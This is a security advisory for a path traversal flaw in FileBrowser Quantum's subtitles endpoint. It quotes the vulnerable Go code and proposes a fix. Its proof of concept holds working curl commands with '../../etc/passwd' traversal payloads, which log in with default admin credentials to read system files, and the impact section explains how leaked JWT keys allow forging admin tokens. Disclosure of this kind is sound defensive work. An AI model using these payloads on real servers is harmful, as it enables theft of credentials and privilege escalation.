CVE-2026-54910

### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions. ### Recommended Fix Apply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter: ```go // http/media.go, subtitlesHandler // Sanitize path parameter (like all other handlers) path, err := utils.SanitizeUserPath(path) if err != nil { return http.StatusBadRequest, err } // Strip directory components from name to prevent traversal name = filepath.Base(name) ``` `SanitizeUserPath()` rejects any `..` segment. `filepath.Base("../../etc/passwd")` returns `"passwd"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files in github.com/gtsteffaniak/filebrowser/backend